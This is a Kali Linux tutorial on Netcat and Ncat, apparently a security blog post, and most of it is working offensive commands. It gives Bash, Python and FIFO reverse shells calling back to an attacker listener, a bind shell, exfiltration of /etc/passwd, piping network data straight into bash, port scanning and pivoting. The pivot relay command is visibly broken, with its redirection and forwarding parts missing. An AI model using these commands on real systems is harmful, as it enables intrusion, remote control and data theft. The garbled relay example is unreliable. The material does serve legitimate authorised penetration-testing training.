Netcat and Ncat: The Hacker’s Swiss Army Knife on Kali Linux

Netcat is the tool that turns up in every penetration test, every CTF write-up, and every post-exploitation scenario. It’s been called the TCP/IP Swiss Army Knife and that description has held up for thirty years. If you can get comfortable with Netcat, you can move data, establish shells, debug services, and pivot through networks with nothing more than a pre-installed binary.

This guide covers both classic Netcat (nc) and Ncat – the modern reimplementation from the Nmap project that ships with Kali Linux. All examples use isolated lab environments.

What Netcat Actually Does

Netcat reads and writes data across TCP or UDP connections. That’s it. The power comes from combining it with pipes, redirections, and other tools. It has no protocol awareness – it just moves bytes. This simplicity is exactly what makes it useful in adversarial contexts where you can’t install anything.

# Check what's installed
which nc ncat

# Classic netcat help
nc --help

# Ncat (Nmap project - more features)
ncat --help

Basic Connections

Connect to any TCP service and interact with it manually – useful for banner grabbing and protocol exploration:

# Connect to an HTTP server
nc 192.168.56.101 80
GET / HTTP/1.0
Host: 192.168.56.101
[press Enter twice]

# Grab SSH banner
nc 192.168.56.101 22

# UDP connection
nc -u 192.168.56.101 53

Listening Mode

The -l flag puts Netcat into listening mode – it waits for an incoming connection. This is the foundation of catching reverse shells.

# Listen and print anything received
nc -lvnp 4444

# -l = listen, -v = verbose, -n = no DNS, -p = port

Catching Reverse Shells

A reverse shell makes the target connect back to you – bypassing inbound firewall rules that would block a bind shell.

# On your Kali machine - start the listener
nc -lvnp 4444

# On the target (authorised testing only) - example reverse shells:

# Bash
bash -i >& /dev/tcp/192.168.56.1/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat without -e (pipe method)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444 >/tmp/f

Upgrading to a Proper Shell

Raw netcat shells lack tab completion and Ctrl+C kills the session. Upgrade it:

# In the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Press Ctrl+Z
stty raw -echo; fg

# Then in the shell:
export TERM=xterm

File Transfers

Netcat is reliable for transferring files post-exploitation when SCP or FTP aren’t available.

# Receiver - listen and save to file
nc -lvnp 5555 > received_file.txt

# Sender
nc 192.168.56.1 5555 < /etc/passwd

# Transfer and execute
nc 192.168.56.1 5555 | bash

Port Scanning with Netcat

Useful when Nmap isn’t available on a compromised pivot host:

# Scan a port range
nc -zvn 192.168.56.101 20-80

# -z = zero I/O mode (scan only)
nc -zvn 192.168.56.101 22 80 443 3306

Netcat Relays and Pivoting

If you’ve compromised a machine that can reach an internal network you can’t, Netcat can relay traffic through it:

# On the pivot machine - forward port 8080 to internal target
mkfifo /tmp/pipe
nc -lvnp 8080  /tmp/pipe

# Now connect to pivot:8080 from your machine to reach 10.0.0.5:80

Ncat: The Modern Version

Ncat (from the Nmap project) adds SSL support, IPv6, and connection brokering:

# SSL-encrypted listener
ncat --ssl -lvnp 4444

# Connect with SSL
ncat --ssl 192.168.56.1 4444

# Allow multiple connections (broker mode)
ncat --broker -lvnp 4444

# Restrict to specific source IP
ncat --allow 192.168.56.1 -lvnp 4444

When -e Isn’t Available

Many distributions ship Netcat without the -e flag for security reasons. The FIFO method works around this:

# Bind shell without -e
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f

# Reverse shell without -e
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.1 4444 > /tmp/f

Conclusion

Netcat’s value comes from its availability and simplicity. In scenarios where you’ve pivoted to a compromised host with minimal tools, knowing how to use Netcat for file transfers, shell upgrades, and network relays can be the difference between continuing an engagement and getting stuck. Learn these patterns until they’re second nature.

These techniques are presented for educational purposes. Only use them against systems you own or have explicit written authorisation to test. Unauthorised access to computer systems is a criminal offence.